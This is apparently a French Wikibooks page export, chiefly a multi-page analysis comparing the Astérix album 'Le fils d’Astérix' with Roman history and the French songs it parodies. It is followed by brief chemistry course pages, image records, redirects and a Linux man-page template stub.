on determinait la position de la tente du commandant et, partant d’elle, celle des fossés, des portes et des autres tentes. Puis, on creusait la tranchée et remblayait le rempart dont le camp était entouré. Sur ce rempart, on montait une palissade. L’armée apportait les pieux nécessaires elle-même. Finalement, les légionnaires dressaient leurs tentes. À la page 24 de la BD, Uderzo a dessiné ces opérations. Seulement une différence se fait remarquer: les troupes de Brutus doivent couper des arbres parce qu’ils ne disposent pas de pieux. [[Astérix/Brutus|Continuer]] [[de:Asterix/ Die römischen Lager]] Astérix/Brutus 8278 42079 2006-05-12T11:58:02Z Carbidfischer 1510 + de [[Astérix/Les camps romains|Retourner à la page précédente]] '''Brutus''' Parlons maintenant de Marcus Junius Brutus, le personnage qui menace le « fils d’Astérix » dans la bande dessinée. Il est né, selon la majorité des historiens, en 85 avant Jésus-Christ. Parmi ses ancêtres, on trouve deux tyrannicides renommés, Lucius Junius Brutus, le fondateur de la République romaine, et Servilius Ahala, le meurtrier de Spurius Mœlius qui a aspiré à la dictature. César divise sa famille: la mère de Brutus, Servilia, est son amante, son oncle Caton (aujourd’hui surnommé Caton d’Utique) est l’un des adversaires les plus dangereux du conquérant de la Gaule. Brutus fait des études à Athènes. En 58, il travaille comme assistant de Caton qui a été chargé d’incorporer Chypre, gouverné par l’oncle de Cléopâtre, à l’Empire romain. Pendant ce temps-là, Brutus agrandit sa fortune en tant que prêteur. Cinq ans plus tard, il obtient un poste de questeur en Cilicie, une province en Asie. Au sénat, il supporte les optimates (le parti de Caton) contre César et Pompée. Pendant la guerre civile, il lutte avec Pompée qui est devenu le leader des optimates. Après la défaite de Pharsale, Brutus demande grâce à César qui montre sa clémence proverbiale en le pardonnant. Le césarien nouveau devient même l’un des confidents les plus proches du dictateur. Entre 48 et 46, Brutus administre les Gaules comme préfet. Le fait que « Le fils d’Astérix » se joue en 46 qu’on prouvera plus tard empêche l’existence simultanée d’un préfet Épinedecactus. Quoi qu’il en soit, Brutus devient préteur deux ans plus tard et César lui promet le consulat pour l’année 42. Mais son protégé fait des projets différents. Craignant que le dictateur veuille restaurer la royauté, il se joint à une conspiration menée par son beau-frère Cassius. Aux ides de mars 44, il assassine César avec les autres conspirateurs. Les héritiers du grand général, Marc-Antoine et Octavien, pourchassent Brutus et Cassius. Ils les battent décisivement à Philippes. Après sa défaite, Marcus Junius Brutus se suicide. Il n’est âgé que de 43 ans. Est-il le fils de César ou non? Épinedecactus le nomme ainsi à la page 21 de la BD. Mais en fait Brutus n’est ni le fils ni le fils adoptif de Jules César. La paternité biologique est réfutée aisément: son prétendu père n’a que 15 ans lorsque Brutus naît et la relation amoureuse entre Servilia et César ne commence pas avant les années 60. Une adoption n’a pas eu lieu non plus. Le testament du dictateur ne s’occupe pas de Brutus qui hériterait d’une grande partie de sa fortune s’il était vraiment son fils adoptif. C’est ce testament de César qui pose le problème le plus grave pour l’intrigue dans « Le fils d’Astérix ». Il ne tient pas compte de Césarion. Par conséquent, son enlèvement n’aide pas Brutus à devenir l’unique héritier de César. Mais il vise ce but-là si l’on peut croire les explications de Cléopâtre à la page 47. La seule solution pour réconcilier la fiction avec la réalité historique consiste en la falsification des dernières volontés césariennes. Si Fulvia, la troisième épouse de Marc-Antoine, n’a pas trouvé mais écrit le testament de César, tout ce qui se passe dans la BD devient possible. Mais aurait-elle falsifié un testament qui était si favorable à Octavien et dans lequel son mari n’héritait de rien? Sûrement pas. Reste son physique qu’Uderzo présente d’une manière fortement différente des sources antiques. Le visage du Brutus historique n’a rien de brutal, contrairement à celui de son pendant dessiné. En plus, César décrit lui-même son ami comme maigre et faible. Le vrai Brutus se distinguait donc profondément de cet homme grand et musclé tel que représenté dans la BD. Mais la version astérixienne de ce personnage joue son rôle de scélérat beaucoup mieux que celle que les historiens connaissent. Ici, le côté fictif a triomphé de la réalité historique. [[Astérix/Épinedecactus|Continuer]] [[de:Asterix/ Brutus]] Astérix/Épinedecactus 8279 42080 2006-05-12T11:59:59Z Carbidfischer 1510 + de [[Astérix/Brutus|Retourner à la page précédente]] '''Épinedecactus''' Il n’est pas surprenant d’apprendre qu’il n’y a jamais eu un préfet des Gaules qui s’appelait Épinedecactus. Évidemment, le nom vient de l’expression « l’épine du cactus ». Il appartient à ces noms pseudo-romains dans les bandes dessinées de Goscinny et d’Uderzo qui ne servent qu’à ridiculiser les Romains. Le préfet aide Brutus à trouver le petit Césarion parce que le futur assassin de César lui a promis un poste de sénateur à Rome. Cette promesse évoque une question importante: est-il possible qu’Épinedecactus devienne sénateur? Normalement, on peut l’affirmer. Les membres du sénat étaient d’anciens magistrats et c’étaient d’anciens consuls et préteurs, donc d’anciens magistrats, qui devenaient préfet d’une province. Déguisé en nourrice, le préfet se nomme Rosaépine. Comme tous les Romains déguisés essayant d’entrer dans le village d’Astérix au cours des albums, il n’abandonne pas totalement son nom mais garde le mot « épine ». Rosaépine fait allusion à une plante aussi, elle représente, proprement écrite, « la rose à épines ». La caractéristique la plus frappante de cette fausse nourrice, ce sont les chansons qu’elle chante pour apaiser le bébé. Le lecteur français remarque tout de suite, le lecteur étranger peut facilement deviner, qu’il ne s’agit pas du tout de chansons antiques. En effet, l’auteur a essayé de rendre antique des chansons bien françaises. « Tiens, voilà du boudin » à la page 33, par exemple, est la marche d’une légion, mais d’une légion qui n’est pas vraiment romaine, de la Légion étrangère. : Tiens, voilà du boudin, voilà du boudin, voilà du boudin : Pour les Alsaciens, les Suisses et les Lorrains, : Pour les Belges, il n’y en a plus (bis) : Ce sont des tireurs au cul ; : Pour les Belges, il n’y en a plus (bis) : Ce sont des tireurs au cul. Le chant suivant, à la page 34, ressemble fortement à une chanson paillarde, « Le grand défilé ». On voit aisément ce qu’Albert Uderzo a fait. Il a remplacé quelques mots par d’autres qui font penser à l’antiquité romaine et voilà un chant guerrier de 50 avant Jésus-Christ. : Traîne pas mon cousin : Prends ta b*** à deux mains mon cousin : Nous partons en guerre : Contre les putains du quartier latin. : Traîne pas légionnaire : Prends ton pilum à la main mon cousin : Nous partons en guerre : Contre les Germains. « Le rêve passe », une chanson de 1906 qui glorifie les armées de Napoleon Ier, a été traitée de manière équivalente à la page 35: les hussards sont devenus les cohortes et les dragons ont été remplacés par les légions. Le refrain de « Le rêve passe » est indiqué là-dessous: : Les voyez-vous, : Les hussards, les dragons, la Garde, : Ils saluent tous : L’empereur qui les regarde. La chanson de Rosaépine est un peu différente: : Les voyez-vous, les cohortes, les légions, la garde... Après avoir entendu ce chant-là, Astérix demande à la fausse nourrice qui lui a appris à chanter de cette manière. Elle répond qu’elle a travaillé dans un camp romain où on l’appelait la mamelon de la légion. Bien sûr la chanson suivante fait allusion à ce surnom. Pour atteindre ce but, l’auteur a changé « La Madelon », écrit par Louis Bousquet et composé par Camille Robert en 1914. : Quand Madelon vient nous servir à boire : Sous la tonnelle on frôle son jupon : Et chacun lui raconte une histoire, : Une histoire à sa façon. La « Mamelon de la légion » ne doit que laisser tomber Madelon en faveur d’elle-même: : Quand Mamelon vient nous servir à boire... Rosaépine s’est occupé des guerres napoléoniennes, elle a chanté la guerre de 14, maintenant il est grand temps de se proposer un chant de la deuxième guerre mondiale. En fait, Uderzo a choisi la marche du corps expéditionnaire africain qui luttait à cette époque, « Les Africains » de Felix Boyer: : C’est nous les Africains : Qui arrivons de loin : Nous venons des colonies : Pour sauver la Patrie. Il est clair que la nourrice du « fils d’Astérix » ne pense pas aux Africains quand elle loue de grands soldats. Pour elle, c’est son propre peuple qui arrive de loin pour battre les Gaulois: : C’est nous les braves Romains qui arrivons de loin... Le répertoire de Rosaépine comprend des chansons supplémentaires. Pendant la nuit qui tombe à la page 36, elle semble se souvenir qu’elle travaille pour des Gaulois. Pour masquer les cris du bébé, elle entonne le chant national savoisien dans lequel une tribu gauloise joue un rôle important: : Allobroges vaillants! : Dans vos vertes campagnes : Accordez-moi toujours asile et sûreté, : Car j’aime à respirer : L’air pur de vos montagnes : Je suis la Liberté, la Liberté. C’est en chantant que le préfet deguisé s’enfuit. À cette occasion, il interprète une marche lorraine dont Jules Jouy et Octave Pradel ont écrit les paroles et Louis Ganne a composé la musique: : Fiers enfants de la Lorraine : Des montagnes à la plaine : Sur nous plane, ombre sereine : Jeanne d’Arc, vierge souveraine! Bien sûr, il ne manque pas de lui donner un texte un peu plus « antique »: : Fiers enfants de la Romaine... Albert Uderzo a créé pour Rosaépine des chansons qui se révèlent très amusantes pour le lecteur qui connaît les originaux auxquels l’auteur fait allusion. Mais les allusions échappent à ceux qui ignorent les modèles dont il s’est servi où qui lisent une version traduite de cet album d’Astérix. [[Astérix/Césarion, le « fils d’Astérix »|Continuer]] [[de:Asterix/ Cactus]] Astérix/Césarion, le « fils d’Astérix » 8280 42063 2006-05-12T11:25:57Z Carbidfischer 1510 + de [[Astérix/Épinedecactus|Retourner à la page précédente]] '''Césarion, le « fils d’Astérix »''' Césarion, le fils de César et Cléopâtre, voit le jour le 23 juillet 47 avant Jésus-Christ. Sa mère lui donne le nom de Ptolémée César. Les Alexandriens l’appellent Césarion (un surnom qui veut dire « petit César »). Entre la fin de l’été ou l’automne de 46 et avril 44, il habite dans la maison de son père à Rome avec sa mère et son oncle Ptolémée XIV. Après l’assassinat de César aux ides de mars 44, Cléopâtre, Césarion et Ptolémée retournent à Alexandrie où ils arrivent en juin ou juillet. Ce dernier meurt peu après. Césarion lui succède en tant que roi d’Égypte sous le nom de Ptolémée XV (le XVème, pas le XVIème du nom comme indiqué dans la bande dessinée). Les surnoms (les noms qu’il porte pour se distinguer des autres quatorze Ptolémées) du petit roi sont Philopator (« qui aime son père ») et Philometor (« qui aime sa mère »). Comme il n’a que trois ans, c’est sa mère Cléopâtre qui exerce le pouvoir. En 41, les triumvirs Marc-Antoine et Octavien acceptent Césarion pour roi. Plus tard, devenu époux de Cléopâtre, Marc-Antoine provoque Octavien en reconnaissant Césarion comme roi parce qu’il est le fils de César. En 30, après la défaite et les suicides de Marc-Antoine et Cléopâtre, Octavien fait tuer Césarion qui, étant le fils naturel de César, pourrait lui contester l’héritage de son père. Bien qu’il n’ait pas beaucoup influencé la politique de son époque, il joue un rôle important pour l’analyse de la BD à laquelle il a donné son nom. C’est lui qui permet d’indiquer très précisément la date des événements qui y ont lieu. Comme il sait déjà aller à quatre pattes, mais pas encore à pied, il doit avoir environ un an. En partant de sa date de naissance, on découvre que « Le fils d’Astérix » se joue au début de l’été de l’année 46 avant notre ère. Donc l’indication de 50 avant Jésus-Christ sur la carte au commencement de la bande n’est pas entièrement exacte. Les cheveux du petit Césarion soulèvent une question quant à sa descendance. César et Cléopâtre, ses parents, ont tous les deux la chevelure noire. Comment leur enfant peut-il être blond? L’usage de cette couleur improbable tient à deux raisons différentes. L’une est liée au titre de l’album: Un fils d’Astérix doit avoir les cheveux de son père. Bonemine ne pourrait pas le soupçonner de la paternité d’un enfant qui ne lui ressemble pas du tout. L’autre raison est d’ordre esthétique. Beaucoup de monde considèrent un bébé blond comme plus doux qu’un petit qui a les cheveux d’une autre couleur. [[Astérix/Cléopâtre, sa mère|Continuer]] [[de:Asterix/ Caesarion, der Sohn des Asterix]] Astérix/Cléopâtre, sa mère 8281 42067 2006-05-12T11:43:28Z Carbidfischer 1510 + de [[Astérix/Césarion, le « fils d’Astérix »|Retourner à la page précédente]] '''Cléopâtre, sa mère''' Cléopâtre VII, la fille du roi d’Égypte, Ptolémée XII Auletes (« le flûtiste »), est née en 69 avant Jésus-Christ. Malheureusement, les historiens ignorent qui l’a mise au monde. On sait aussi très peu de choses sur son enfance. A l’automne 52, la jeune Cléopâtre devient co-reine de son père qui meurt peu après. Le testament de Ptolémée XII partage le pouvoir entre sa fille et son fils Ptolémée XIII Philopator Philadelphe (« qui aime sa sœur »). Cléopâtre arrive à régner seule très tôt, mais son frère s’empare du trône à l’aide de quelques dignitaires de cour. En 49, ils délogent la reine qui s’enfuit à la frontière syrienne et essaie de regagner son pouvoir. Elle atteint ce but grâce à Jules César qui est allé en Égypte à la recherche de son rival Pompée. Les Romains vainquent Ptolémée XIII qui reste sur le champ de bataille. Cléopâtre devient reine à nouveau et son frère cadet, Ptolémée XIV, assume la fonction de roi. A l’été 47, Césarion est né, le résultat d’une affaire galante entre Cléopâtre et le dictateur romain. Un an plus tard, la reine se rend à Rome avec son frère et son fils pour habiter chez César. Leur hôte fait ériger une statue de son amante incarnant Aphrodite au temple de Vénus, son ancêtre légendaire (la gens Julia se regarde comme descendante d’Iule, le fils d’Énée et donc le petit-fils de la déesse de l’amour). Mais leur bonheur ne dure pas. Après l’assassinat de César, Cléopâtre et les siens quittent Rome pour retourner à Alexandrie. Ptolémée XIV meurt peu après et Césarion lui succède comme roi. Sa mère commence une relation amoureuse avec le césarien Marc-Antoine dont trois enfants naissent, Alexandre Hélios, Cléopâtre Séléné et Ptolémée Philadelphe. Le triumvir leur donne des territoires romains, un acte qui ne plaît pas du tout à Octavien. L’héritier de César déclare la guerre à Cléopâtre en 32. Son général Agrippa bat les troupes de la reine d’Égypte et de son amant à Actium. Marc-Antoine et, une douzaine de jours plus tard, Cléopâtre se suicident. Les amants puissants de cette femme permettent de s’interroger sur son apparence physique. La réponse à cette question n’est pas du tout facile. Dans ce contexte, le développement de sa beauté constitue un fait remarquable. Apparemment, elle a grandi avec chaque année qui passait depuis la mort de Cléopâtre. Mais cette évolution signifie-t-elle qu’en vérité, la mère de Césarion n’était pas jolie ou même laide? Les images contemporaines ne permettent pas d’en juger définitivement. Il y a des portraits sur lesquels son nez connu ressemble à celui d’une sorcière dans un conte de fées ainsi que des images qui montrent une fille avec un petit nez retroussé. Quoi qu’il en soit, sa beauté suffisait pour séduire deux des Romains les plus puissants de son époque. Traitons enfin de la vraisemblance de la présence de Cléopâtre. Est-il possible qu’elle entreprenne un voyage en Gaule sans que les chroniqueurs nous en informent? Quand on tient compte de sa vitesse de croisière (son voyage d’Alexandrie à Rome dure trois mois), un séjour dans le village d’Astérix paraît très improbable. Mais si elle y était allée, elle aurait utilisé une voiture comme celle dans la bande dessinée. Déjà son ancêtre Ptolémée II se faisait voir sur une voiture pareille qui était tirée par 180 hommes. [[Astérix/César, son père|Continuer]] [[de:Asterix/ Kleopatra, seine Mutter]] Astérix/César, son père 8282 43297 2006-05-27T07:35:07Z 81.242.175.153 [[Astérix/Cléopâtre, sa mère|Retourner à la page précédente]] '''César, son père''' Jules César, le grand adversaire d’Astérix, voit le jour à Rome le 13 juillet 100 avant Jésus-Christ. Son oncle Caius Marius a réformé l’armée romaine et l’a ouverte aux pauvres. C’est à cause de lui que César fait partie des populares (les hommes politiques qui supportent les plébéiens et luttent contre les optimates qui favorisent le gouvernement du sénat) bien qu’il descend d’une famille patricienne. Le jeune César reçoit une bonne éducation et se montre doué pour la littérature. En 84, il épouse Cornelia, la fille du consul Cinna qui appartient aux populares. Elle donne naissance à une fille, Julia. Sylla, le leader du parti des optimates, retourne à Rome deux ans plus tard, devient dictateur et exige que César divorce d’avec la fille de son ennemi. César refuse et doit, banni, s’enfuir à la montagne. Sa mère et quelques parents à elle parviennent à convaincre Sylla de laisser revenir César. En 73, il devient pontife (l’un des grands prêtres de Rome) et tribun militaire. Sa mère et sa femme meurent en 69, l’année où César commence sa carrière d’honneurs en tant que questeur en Espagne. César se marie une deuxième fois avec Pompeia. En 63, il est élu Grand Pontife (prêtre supérieur). L’année suivante, il devient préteur et divorce de Pompeia. Après sa préture, César administre l’ouest de l’Espagne, la province Hispania ulterior. Retournant à Rome, il forme le triumvirat (avec le puissant Pompée et le riche Crassus) qui lui permet d’obtenir le consulat de 59. Quand l’autre consul, Bibulus, ne fait guère son devoir, la plèbe parle du « consulat de Julius et de Caesar ». Ayant noué des liens familiaux avec Pompée en lui donnant en mariage sa fille Julia, César part pour la Gaule qui l’occupera pendant les années suivantes. Il lutte contre les Helvètes et les Suèves sous Arioviste, il bat les Belges et conquiert la Bretagne, la patrie d’Astérix. Le général César mène des campagnes en Normandie et en Aquitaine, il traverse le Rhin et la Manche. En 51, la Gaule est conquise. Le dernier soulèvement, dirigé par Vercingétorix, échoue à Alésia. Le proconsul victorieux publie un rapport sur la guerre des Gaules qui porte le titre peu surprenant de « De Bello Gallico ». Le combat continue, mais maintenant les Romains luttent entre eux. Pompée et beaucoup de sénateurs s’enfuyent en Grèce. César bat les pompéiens et gagne le pouvoir sur l’Italie et l’Espagne. En 48, il vainc Pompée à Pharsale. En fuite, le perdant est tué en Egypte. César y passe quelques mois avec la reine Cléopâtre à qui il rend le trône et avec laquelle il engendre un fils, Césarion. Avant qu’il ne retourne à Rome, il bat le roi Pharnace en Asie. Il résume sa victoire de la manière la plus brève: « Veni, vedi, vici.» (Je suis venu, j’ai vu, j’ai vaincu.) En 45, César a aussi triomphé des derniers pompéiens. Peu après, le sénat le nomme dictateur perpétuel. Le pouvoir extraordinaire de César fait craindre aux républicains traditionnels qu’il aspire à la royauté. Aux ides de mars 44, soixante conspirateurs, dont Brutus, assassinent le dictateur au sénat. Mais dans la BD, il vit encore et on n’en voit pas la fin. Donc sa vie dessinée soulève une question. Le César dans les aventures d’Astérix, ressemble-t-il à son pendant historique? De par ses vêtements, en effet. Il existe une grande statue de lui portant une cuirasse et un manteau de général comme Uderzo l’imagine. Le dictateur avait aussi le droit de toujours porter les lauriers. Ainsi il pouvait couvrir la partie chauve de sa tête. Le César de la bande dessinée n’a pas de calvitie, mais il est affublé d’un nez crochu. Or le nez de de son modèle antique semblait, quant à lui, tout à fait normal et peu frappant. Bien que le nez les différencie, ils ont une qualité en commun, la clementia caesaris proverbiale. Dans la BD, César non seulement inflige une punition assez clémente à Brutus, mais il ordonne aussi la reconstruction du village de ses ennemis gaulois. Au regard aux futurs développements, notamment de son assassinat, il aurait peut-être dû réflechir en ce qui concerne sa première décision. A un Brutus emprisonné, il n’aurait pas dit encore une fois: « Tu quoque, fili! » Or, César se répétait quelquefois, comme l’a dit un homme sage. [[Astérix/La fiction et la vérité dans « Le fils d’Astérix »|Continuer]] [[de:Asterix/ Caesar, sein Vater]] Astérix/La fiction et la vérité dans « Le fils d’Astérix » 8283 42002 2006-05-11T21:15:24Z Carbidfischer 1510 linkfix [[Astérix/César, son père|Retourner à la page précédente]] '''La fiction et la vérité dans « Le fils d’Astérix »''' Pour conclure, la BD « Le fils d’Astérix » s’appuie bien plus sur des faits historiques que l’observateur superficiel ne l’imagine. Son auteur, Albert Uderzo, a entrepris des recherches approfondies pour assurer un maximum d’authenticité. Donc, la vérité historique ne doit pas le céder au côté fictif. Quant à l’intrigue, il faut admettre qu’il profite de sa liberté artistique. A vrai dire, Brutus n’a aucune raison d’enlever le petit Césarion. En outre, une telle manière d’agir ne lui ressemble pas. Bien que l’assassinat de César induise autre chose, Brutus a plutôt l’air d’un philosophe que d’un criminel. Mais quoi qu’il en soit, j’aime bien cette BD et je souhaite que le lecteur de cette analyse ait pu ressentir un peu de cet amour. [[Astérix/Bibliographie|Continuer]] [[de:Asterix/ Fiktion und Wahrheit in Der Sohn des Asterix]] Astérix/Bibliographie 8284 42003 2006-05-11T21:16:26Z Carbidfischer 1510 linkfix [[Astérix/La fiction et la vérité dans « Le fils d’Astérix »|Retourner à la page précédente]] '''Bibliographie''' * Baumann, Uwe. Kleopatra. Reinbek bei Hamburg 2003. * Brambach, Joachim. Kleopatra – Herrscherin und Geliebte. München <sup>2</sup>1996. * Bernet, Anne. Brutus – assassin par idéal. Paris 2000. * Brodersen, Kai (éd.). Asterix und seine Zeit – Die große Welt des kleinen Galliers. München 2001. * Bruckmüller, Ernst / Hartmann, Peter Claus (éds.). Putzger – Historischer Weltatlas. Berlin <sup>103</sup>2002. * Caselli, Giovanni (éd.). Schaufenster der alten Kulturen – Rom. Nürnberg 1991. * Cuisenier, Jean (dir.). Ethnologie française: Astérix. Un mythe et ses figures. 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[[de:Asterix/ Elektronische Quellen]] Droit administratif/La jurisprudence/Duvignières 8291 41981 2006-05-11T19:28:51Z 196.207.238.14 commentaire de l arret blanco Chimie organique biologique 8292 42045 2006-05-12T09:46:42Z 213.41.1.226 # [[Les biomolécules]] # [[La céllule]] # [[Eléments de biochimie]] # [[Bioénergétique]] # [[Chimie médicinale]] [http://fr.wikibooks.org/wiki/Wikiversité:Faculté_de_chimie#Bienvenue Acceuil Ecole de chimie] Concepts en chimie 8293 42050 2006-05-12T11:06:44Z 213.41.1.222 # [[Structure des molécules]] # [[Réactivité des molécules]] # [[Mécanismes réactionels]] [http://fr.wikibooks.org/wiki/Wikiversité:Faculté_de_chimie#Bienvenue Acceuil Ecole de chimie] Nano-technologies 8294 42088 2006-05-12T12:34:18Z 213.41.1.226 # <b>[[Bio-technologies]]<b/> # <b>[[Bio-nanotechnologies ou nano-technologies]]<b/> Ce sont les technologies qui utilisent les machineries moléculaires des organismes vivants pour des applications industrielles (fabrication de médicaments, puce électronique.etc..) [http://fr.wikibooks.org/wiki/Wikiversit%C3%A9:Facult%C3%A9_de_chimie#Bienvenue Acceuil Ecole de chimie] Chimie organique avancée 8295 42092 2006-05-12T12:41:38Z 213.41.1.226 # [[Chimie organométallique]] # [[Synthèse asymétrique]] Chimie organique : synthèse 8296 42219 2006-05-13T20:48:43Z 82.224.40.218 {| width="70%" border="0" cellspacing="0" cellpadding="5" |- | bgcolor="#E0E0F0" align="center" colspan="2" | {| width="100%" bgcolor="#E0E0F0" |- | bgcolor="#E0E0F0" valign="middle" width="90%" align="center" | <font size="+1">Ecole de Chimie de la [[Wikiversité]]</font> |- |} |- | bgcolor="lightyellow" valign="top" colspan="2" | * [[Bases de chimie organique]] * [[Chimie organique I/Rétro-synthèse|Rétro-synthèse]] * [[Chimie organique avancée]] * [[Chimie organique I/Mécanismes des réactions|Mécanismes des réactions]] * [[Chimie organique I/Applications de la chimie organique|Applications de la chimie organique]] * [[Chimie organique expérimentale]] * [[Chimie organique I/Techniques d'analyses structurales des molécules organiques|Techniques d'analyses structurales des molécules organiques]] * [[Chimie analytique]] * [[Chimie organique I/Exercices d'applications|Exercices d'applications]] * [[Chimie organique I/Bibliographie|Bibliographie et webographie]] [[http://fr.wikibooks.org/wiki/Wikiversité:Faculté_de_Chimie Accueil de la faculté de chimie]] Concepts en chimie moléculaire 8297 44519 2006-06-14T08:26:43Z 213.41.42.73 /* <b>La Liaison chimique<b/>[http://fr.wikibooks.org/wiki/Compos%C3%A9s_et_liaisons_%28Chimie_g%C3%A9n%C3%A9rale%29] */ {| width="70%" border="0" cellspacing="0" cellpadding="5" |- | bgcolor="#E0E0F0" align="center" colspan="2" | {| width="100%" bgcolor="#E0E0F0" |- | bgcolor="#E0E0F0" valign="middle" width="90%" align="center" | <font size="+1">Ecole de Chimie de la [[Wikiversité]]</font> |- |} |- | bgcolor="lightyellow" valign="top" colspan="2" | == La structure des molécules == ===<b>La Liaison chimique<b/>[http://fr.wikibooks.org/wiki/Compos%C3%A9s_et_liaisons_%28Chimie_g%C3%A9n%C3%A9rale%29]=== On distingue six grands types de liaison en chimie: <b>1- Liaison covalente</b> La liaison covalente concerne toutes les molécules organiques. Les deux atomes reliés entre eux mettent en commun leurs électrons, un ou plusieurs électrons de valence, en fonction du type de liaison, simple, double ou triple. La liason peut-étre polarisée si une différence d'électronégativité est importante entre les deux atomes. Par exemple dans le bromomethane l'atome de brome va polariser la liaison C-Br et rendre le carbone plus réactif. Ces liaisons font intervenir les orbitales des atomes concernés dans la liaison pour former des orbitales moléculaires de type sigma pour une simple liaison ou pi pour une double ou triple liaison.<br> Les différents niveaux d'enegie permis d'une molécule peuvent être décrit en résolvant l'équation de de mécanique quantique de Shrödinger. On y trouve toutes les orbitales moléculaires. Les électrons de valence occupent les niveaus d'énergie les plus bas. Dans la pratique la résolution de l'équation de Shrödinger est trop complquée. On a recours à des approximations dites de Hückel. La figure illustre les différents niveaux d'énergie des orbitales moléculaires de la molécule d'éthène. On distingue en particulier l'orbitale HOMO (Highest Ocupied Molecular Orbital) et LUMO (LowestUnocupied Orbital). Les électrons d'un autre réactif pouvant atteindre la LUMO (anti-liante) pourront rompre la double liaison pour réaliser une réaction d'addition, par exemple, addition d' HCl pour donner du chloroethane. <div style="float:center">[[image:1305061.png]]</div> Au cours d'une réaction chimique les forces électrostatiques entre en jeux pour positioner les atomes qui vont réagir entre eux. Puis quand les distances inter-atomiques sont suffisament petites les orbitales atomiques inter-agissent entre elles pour former des orbitales moléculaires, en accord avec les principes de la mécanique quantique. <div style="float:center">[[image:1305062.png]]</div> <b>2- Liaison ionique<b/> Ce type de liaison utilise des forces electrostatiques d'attractions et de répulsions entre des ions positifs et négatifs (Chlorure de sodium par exemple). Les orbitales moléculaires n'intervienent pas dans ces laisons. <b>3- Liaison métallique<b/> La différence entre le rayon ionique et le rayon métallique est faible. Sauf pour les métaux alcalins (Na, K, Li, Cs), le rayon est plus grand. Les electrons ont plus d'espace, la structure est donc moins compacte. Dans un métal, comme pour les composés ioniques, les atomes sont empilés suivant un certain ordre tri-dimensionel. Les electrons de valence circulent librement. Mais ils sont prisonier dans un puit de potentiel (cf mécanique quantique). Seul une forte température ou une irradiation (effet photo-électrique) permet aux électrons de s'échapper. Un champ électrique appliqué à un morceau de métal oriente et accélère la circulation des électrons pour donner un courant électrique. <b>4- Liaison organométallique<b/> Le cas de la liaison organométallique est plus compliqué. Par exemple l'organobromien, synthétisé dans l'ether, a pour structure structure à l'état solide : <div style="float:center">[[image:1205061 bis.gif]]</div> <!--parler des catalyseurs--> <b>5- Liaison hydrogène<b/> La liaison hydrogène est une liaison de faible énergie, souvent partielle, mais trés importante dans les milieux biologiques. C'est la liaison entre un atome d'hydogène et un atome électronégatif, en générale l'oxygène ou l'atome d'azote. Elle est souvent impliqué dans la spécificité des sites actifs des enzymes. Associée avec les molécules d'eau elle permet la formation des structures tri-dimensionnelle des protéines. <b>6-Liaison faible de Van Der Waals<b/> ===Géométrie spatiale des molécules=== == La réactivité des molécules organiques == == Thermochimie == == Electro-chimie == [http://fr.wikibooks.org/wiki/Wikiversit%C3%A9:Facult%C3%A9_de_chimie#Bienvenue Acceuil Ecole de chimie] Image:1205061.gif 8298 42143 2006-05-12T17:58:37Z Phil Lasry 1374 ecole de chimie ecole de chimie Image:1205061 bis.gif 8299 42163 2006-05-12T22:18:07Z Phil Lasry 1374 ecole de chimie ecole de chimie Image:1305061.png 8301 42176 2006-05-13T08:34:18Z Phil Lasry 1374 Ecole de chimie Ecole de chimie Image:1305062.png 8302 42190 2006-05-13T15:35:54Z Phil Lasry 1374 ecole de chimie ecole de chimie Image:1304063 ecole de chimie.jpg 8303 42193 2006-05-13T18:09:24Z Phil Lasry 1374 Ecole de chimie; ID photo Ecole de chimie; ID photo Image:1305063 ecole de chimie copie.gif 8305 42199 2006-05-13T18:27:20Z Phil Lasry 1374 ecole de chimie; id photo participant ecole de chimie; id photo participant Image:1305064 logo ecole de chimie.gif 8307 42236 2006-05-13T21:39:21Z Phil Lasry 1374 logo provisoire ecole de chimie logo provisoire ecole de chimie Anglais : La nourriture 8308 45691 2006-06-25T07:00:34Z Guillaumito 46 correction double redirection #REDIRECT [[Anglais : Food & Drink / Aliments et Boissons]] Anglais : Food & Drink : ''Aliments et Boissons'' 8309 45690 2006-06-25T06:59:28Z Guillaumito 46 correction double redirection #REDIRECT [[Anglais : Food & Drink / Aliments et Boissons]] Anglais : Food & Drink : Aliments et Boissons 8310 42262 2006-05-14T06:33:10Z Mly 1518 [[Anglais : Food & Drink : Aliments et Boissons]] déplacé vers [[Anglais : Food & Drink / Aliments et Boissons]] #REDIRECT [[Anglais : Food & Drink / Aliments et Boissons]] Documentation en ligne de OsiriX/Reconstruction 3-D 8311 42267 2006-05-14T07:10:48Z 84.103.205.156 qu'elle reference X et Y en mm il faut rentrer pour faire de la 3d??merci Eros 8312 42273 2006-05-14T11:42:12Z 86.197.177.89 Dieu de l'amour. Considéré comme le plus jeune des dieux, il fut ensuite représenté sous les traits d'un enfant qui blesse les coeurs de ses flèches. 3ds2m 8315 42308 2006-05-14T17:20:10Z Overmac 1120 {| style="border:3px blue solid; border-style: inset;" cellspacing="0" cellpadding="2px" align="right" | style="text-align:center;background:#E0E0F0;" | '''[[MANs sous Linux]]''' |- | style="text-align:center;background:#E0E0F0;" | ''[[Département informatique/Bibliothèque|Département Informatique]]'' |- | style="text-align:center;background:white;" | [[Image:Wikibooks-logo-fr.png|150px|center|Programmation C++ (débutant)]] |- | bgcolor="#E0E0F0" align="center" |'''Sommaire''' |- | bgcolor="white" | *<small> [[MANs sous Linux|Accueil]]</small> *<small>Chap. 1 - [[MANs_sous_Linux_:_Les_commandes_utilisateur|Les commandes utilisateur]]</small> *<small>Chap. 2 - [[MANs_sous_Linux_:_Les_appels-syst%C3%A8me|Les appels-système]]</small> *<small>Chap. 3 - [[MANs_sous_Linux_:_Les_fonctions_de_biblioth%C3%A8que|Les fonctions de bibliothèque]]</small> *<small>Chap. 4 - [[MANs_sous_Linux_:_Les_fichiers_sp%C3%A9ciaux|Les fichiers spéciaux]]</small> *<small>Chap. 5 - [[MANs_sous_Linux_:_Les_%22formats_de_fichiers%22|Les "formats de fichiers"]]</small> *<small>Chap. 6 - [[MANs_sous_Linux_:_Les_jeux|Les jeux]]</small> *<small>Chap. 7 - [[MANs_sous_Linux_:_Divers|Divers]]</small> *<small>Chap. 8 - [[MANs_sous_Linux_:_Les_commandes_d%27administration_syst%C3%A8me|Les commandes d'administration système]]</small> *<small>Chap. 9 - [[MANs_sous_Linux_:_Les_fonctions_du_noyau_Linux|Les fonctions du noyau Linux]]</small> |- | bgcolor="#E0E0F0" align="center" |'''Liens''' |- | bgcolor="white" | *<small>[[MANs sous Linux]]</small> |- | align="right" bgcolor="white" | <small>[http://fr.wikibooks.org/w/index.php?title=Mod%C3%A8le:Introduction_aux_réseaux&action=edit Modifier ce modèle]</small> |} == NOM == 